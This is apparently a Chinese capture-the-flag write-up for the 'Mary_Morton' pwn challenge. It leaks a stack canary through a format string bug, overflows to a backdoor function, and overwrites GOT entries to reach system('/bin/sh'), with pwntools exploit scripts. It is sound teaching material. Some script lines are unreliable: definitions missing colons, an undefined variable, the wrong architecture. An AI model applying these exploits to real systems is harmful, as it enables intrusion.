『攻防世界』:进阶区 | Mary_Morton
这道题让我重新学了一遍格式化字符串漏洞,自学真的太顶了。
checksec:开启了canary
Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
IDA查看程序逻辑:
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3) { const char *v3; // rdi int v4; // [rsp+24h] [rbp-Ch] unsigned __int64 v5; // [rsp+28h] [rbp-8h] v5 = __readfsqword(0x28u); sub_4009FF(); puts("Welcome to the battle ! "); puts("[Great Fairy] level pwned "); v3 = "Select your weapon "; puts("Select your weapon "); while ( 1 ) { while ( 1 ) { sub_4009DA(v3); v3 = "%d"; __isoc99_scanf("%d", &v4); if ( v4 != 2 ) break; sub_4008EB(); } if ( v4 == 3 ) { puts("Bye "); exit(0); } if ( v4 == 1 ) { sub_400960(); } else { v3 = "Wrong!"; puts("Wrong!"); } } }
主程序提供两种攻击方法——栈溢出和格式化字符串漏洞。这里提到一个关于canary的概念,canary是系统产生的一个随机数,在程序开始和结束进行检查,如果栈溢出导致canary变动则程序崩溃。
sub_4008EB():方法1是利用sub_4008EB函数泄露出canary,得到canary后在payload中将原先canary的位置值保持不变即可成功控制程序执行。
unsigned __int64 sub_4008EB()
{
char buf; // [rsp+0h] [rbp-90h]
unsigned __int64 v2; // [rsp+88h] [rbp-8h]
v2 = __readfsqword(0x28u);
memset(&buf, 0, 0x80uLL);
read(0, &buf, 0x7FuLL);
printf(&buf, &buf);
return __readfsqword(0x28u) ^ v2;
}
查看buf到canary,v2的距离:0x90 - 0x08 = 0x88
-0000000000000090 buf db ? -000000000000008F db ? ; undefined -000000000000008E db ? ; undefined ············ ·········· -000000000000000A db ? ; undefined -0000000000000009 db ? ; undefined -0000000000000008 var_8 dq ?
接下来调试程序得到offset为0x07 - 0x01:
Welcome to the battle !
[Great Fairy] level pwned
Select your weapon
1. Stack Bufferoverflow Bug
2. Format String Bug
3. Exit the battle
>2
>aaaaaaaaaaaa.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x
aaaaaaaaaaaa.ffffd060.0000007f.f7b156d0.f7dd38c0.00000000.61616161.61616161.30252e78
接下来构造payload:
payload = '%' + str(0x88 / 0x08 + (0x07 - 0x01)) + '$p' //偏移的单位是地址的长度,64位环境下需要0x88/0x08,而后面的0x06就是offset了
后门函数地址:0x4008DA,溢出时候使用即可。
方法1:exp>
from pwn import * io = process('./Mary_Morton') def fun1(input) io.recvuntil("3. Exit the battle") io.sendline(str(1)) io.sendline(input) def fun2(input) io.recvuntil("3. Exit the battle") io.sendline(str(2)) io.sendline(input) flag_addr = 0x4008DA fun2("4%23$p") io.recvline() io.recv(1) canary = io.recv(18)[2:18] canary_int = int(canary,16) fun1("A"*0x88 + p64(canary_int) + p64(0) + p64(flag)) io.interactive()
下面有网上湿父的另外两种不同的方法解决这题
方法2:在 C 语言中,没有开启 RELRO 保护的时候,GOT 表项可以被修改,当我们修改某个 GOT 表项的时候,比如把 printf 的 GOT 表项修改成 system 的地址,那执行 printf 的时候实际上是执行 system 的函数
选择2,利用格式化字符串将printf的got地址修改为system的plt地址,再次输入2,输入‘/bin/sh\x00’,相当于执行system(‘/bin/sh\x00’)
方法3:利用格式化字符串将exit的got地址修改为后门函数的地址,再选择3,调用修改后的exit函数。
from pwn import * #远程执行 io = remote("",) context.update(arch = 'i386',os = 'linux') #调用使用 #context.log_level= "debug" #def debug(cmd=""): # gdb.attach(io.cmd) #cmd = "b *0x400930\n" #cmd += "b *0x400944\n" #debug(cmd) ``` #使用字符串“AAAA%P.%P.%P.%P.%P.%P.%P.%P.%P.%P”打印栈上的信息 #找到0x4141414141414141(AAAAAAAA)在第六个位置,确定栈的offset为6 #构造payload,由于payload的输入地址在后面(加入放在前面,先读入的会是\0x30\x10\x60\x00,就会造成\x00截断) #“a%4195999c%8$lln”这些输入数据占用了16个字节,所以最终的offset是8 #offset = 8 ··· #方式2:输入2,利用格式化字符串将printf的got地址修改为system的plt地址,再次输入2,输入‘/bin/sh\x00’,相当于执行system(‘/bin/sh\x00’) #print_got = 0x00601030 #system_plt = 0x004006A0 #方式3:输入2,利用格式化字符串将exit的got地址修改为sub_4008DA后门函数地址(该函数可以直接执行cat ./flag),再次输入3,调用exit函数实际调用后门函数 exit_got = 0x00601060 catflag_plt = 0x004008DA io.recvuntil('battle \n') io.sendline('2') #方式2构造的payload #payload = “a%” #第一个a用来使地址前面的数据对齐 #payload += str(system_plt - 1) #写入的字节数,注意前面有一个a,需要-1 #payload += "c%8$lln" #注意是lln,一次性写入 #payload += p64(printf_got) #被写入的地址 #方法3构造的payload payload = “a%” #第一个a用来使地址前面的数据对齐 payload += str(catflag_plt -1) #写入的字节数,注意前面有一个a,需要-1 payload += "c%8$lln" #注意是lln,一次性吸入 payload += p64(exit_got) #被写入的地址 io.sendline(payload) #方式2执行的交互 #io.recvuntil('battle \n') #io.sendline('2') #io.sendline('/bin/sh\x00') #方式3执行的交互 io.recvuntil('battle \n') io.sendline('3') io.interactive()
这里再补充一个非常方便的函数
fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
第一个参数表示格式化字符串的偏移;
第二个参数表示需要利用%n写入的数据,采用字典形式,我们要将printf的GOT数据改为system函数地址,就写成{printfGOT: system_Address};本题是将0804a048处改为0x2223322
第三个参数表示已经输出的字符个数,这里没有,为0,采用默认值即可;第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。fmtstr_payload函数返回的就是payload